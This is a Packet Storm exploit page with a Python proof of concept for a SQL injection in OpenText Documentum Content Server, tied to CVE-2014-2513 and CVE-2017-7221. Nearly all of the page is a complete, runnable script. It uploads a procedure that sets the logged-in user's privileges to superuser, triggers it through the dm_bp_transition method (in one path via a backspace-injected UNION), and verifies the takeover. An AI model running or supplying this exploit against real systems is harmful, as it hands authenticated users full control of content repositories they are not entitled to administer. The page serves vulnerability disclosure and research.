Twenty Year Anniversary

OpenText Documentum Content Server SQL Injection

OpenText Documentum Content Server SQL Injection
Posted Apr 25, 2017
Authored by Andrey B. Panfilov

OpenText Documentum Content Server has an inadequate protection mechanism against SQL injection, which allows remote authenticated users to execute arbitrary code with super-user privileges by leveraging the availability of the dm_bp_transition docbase method with a user-created dm_procedure object, as demonstrated by use of a backspace character in an injected string. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-2513. This code is a proof of concept exploit.

tags | exploit, remote, arbitrary, sql injection, proof of concept
advisories | CVE-2014-2513, CVE-2015-4533, CVE-2017-7221
MD5 | ed0b1a8a36df7ddba8be8a3ed4dee545

OpenText Documentum Content Server SQL Injection

Change Mirror Download
#!/usr/bin/env python

import socket
import sys
from os.path import basename

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject

CIPHERS = "ALL:aNULL:!eNULL"


def usage():
print "usage:\n\t%s host port user password" % basename(sys.argv[0])


def main():
if len(sys.argv) != 5:
usage()
exit(1)

(session, docbase) = create_session(*sys.argv[1:5])

if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)

install_owner = session.serverconfig['r_install_owner']
document_id = session.next_id(0x08)
content_id = session.next_id(0x06)

store = session.get_by_qualification("dm_store")
format = session.get_by_qualification("dm_format where name='crtext'")
handle = session.make_pusher(store['r_object_id'])
if handle < 1:
print "Unable to create pusher"
exit(1)

data = "Public Function EntryCriteria(ByVal SessionId As String,_" \
"\nByVal ObjectId As String,_" \
"\nByVal UserName As String,_" \
"\nByVal TargetState As String,_" \
"\nByRef ErrorString As String) As Boolean" \
"\nDim QueryID As String" \
"\nDim Query As String" \
"\nQuery = \"query,c,update dm_user objects set " \
"user_privileges=16 where user_name=\'%s\'\"" \
"\nQueryID = dmAPIGet(Query)" \
"\nQueryID = dmAPIExec(\"commit,c\")" \
"\nEntryCriteria=True" \
"\nEnd Function" % (sys.argv[3])

b = bytearray()
b.extend(data)

if not session.start_push(handle, content_id, format['r_object_id'], len(b)):
print "Failed to start push"
exit(1)

session.upload(handle, b)
data_ticket = session.end_push_v2(handle)['DATA_TICKET']

procedure = False
try:
print "Trying to create dm_procedure"
document = TypedObject(session=session)
document.set_string("OBJECT_TYPE", "dm_procedure")
document.set_bool("IS_NEW_OBJECT", True)
document.set_int("i_vstamp", 0)
document.set_int("world_permit", 7)
document.set_string("object_name", "CVE-2014-2513")
document.set_string("r_object_type", "dm_procedure")
document.append_id("i_contents_id", content_id)
document.set_int("r_page_cnt", 1)
document.set_string("a_content_type", format['name'])
document.set_bool("i_has_folder", True)
document.set_bool("i_latest_flag", True)
document.set_id("i_chronicle_id", document_id)
document.append_string("r_version_label", ["1.0", "CURRENT"])
document.set_int("r_content_size", len(b))
if session.sys_obj_save(document_id, document):
procedure = True
except Exception, e:
print str(e)

if not procedure:
print "Failed to create dm_procedure"
print "Trying to create dm_sysobject"
document = TypedObject(session=session)
document.set_string("OBJECT_TYPE", "dm_sysobject")
document.set_bool("IS_NEW_OBJECT", True)
document.set_int("i_vstamp", 0)
document.set_string("owner_name", sys.argv[3])
document.set_int("world_permit", 7)
document.set_string("object_name", "CVE-2017-7221")
document.set_string("r_object_type", "dm_sysobject")
document.append_id("i_contents_id", content_id)
document.set_int("r_page_cnt", 1)
document.set_string("a_content_type", format['name'])
document.set_bool("i_has_folder", True)
document.set_bool("i_latest_flag", True)
document.set_id("i_chronicle_id", document_id)
document.append_string("r_version_label", ["1.0", "CURRENT"])
document.set_int("r_content_size", len(b))
if not session.sys_obj_save(document_id, document):
print "Failed to create dm_sysobject"
exit(1)

content = TypedObject(session=session)
content.set_string("OBJECT_TYPE", "dmr_content")
content.set_bool("IS_NEW_OBJECT", True)
content.set_id("storage_id", store['r_object_id'])
content.set_id("format", format['r_object_id'])
content.set_int("data_ticket", data_ticket)
content.set_id("parent_id", document_id)
content.set_int("page", 0)
content.set_string("full_format", format['name'])
content.set_int("content_size", len(b))
if not session.save_cont_attrs(content_id, content):
print "Failed to create content"
exit(1)

if procedure:
query = "execute do_method WITH METHOD='dm_bp_transition'," \
" ARGUMENTS='%s %s %s \"\" 0000000000000000 " \
"0000000000000000 0000000000000000 \"%s\" " \
"0000000000000000 0000000000000000 0000000000000000 " \
"\"\" 0 0 T F T T %s %s'" % \
(docbase, docbase, install_owner, document_id,
install_owner, session.session)
else:
query = "execute do_method WITH METHOD='dm_bp_transition'," \
" ARGUMENTS='%s %s %s \"\" 0000000000000000 " \
"0000000000000000 0000000000000000 \"%s,'' " \
"union\b select r_object_id from dm_sysobject(all) where r_object_id=''%s\" " \
"0000000000000000 0000000000000000 0000000000000000 " \
"\"\" 0 0 T F T T %s %s'" % \
(docbase, docbase, install_owner, document_id,
document_id, install_owner, session.session)

session.query(query)

r = session.query(
"select user_privileges from dm_user "
"where user_name=USER") \
.next_record()['user_privileges']
if r != 16:
print "Failed"
exit(1)
print "P0wned!"


def create_session(host, port, user, pwd, identity=None):
print "Trying to connect to %s:%s as %s ..." % \
(host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)


def is_super_user(session):
user = session.get_by_qualification(
"dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True

return False


if __name__ == '__main__':
main()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    3 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    18 Files
  • 6
    Sep 6th
    18 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    2 Files
  • 9
    Sep 9th
    2 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    17 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    29 Files
  • 14
    Sep 14th
    21 Files
  • 15
    Sep 15th
    3 Files
  • 16
    Sep 16th
    1 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    16 Files
  • 19
    Sep 19th
    29 Files
  • 20
    Sep 20th
    18 Files
  • 21
    Sep 21st
    5 Files
  • 22
    Sep 22nd
    2 Files
  • 23
    Sep 23rd
    2 Files
  • 24
    Sep 24th
    15 Files
  • 25
    Sep 25th
    69 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close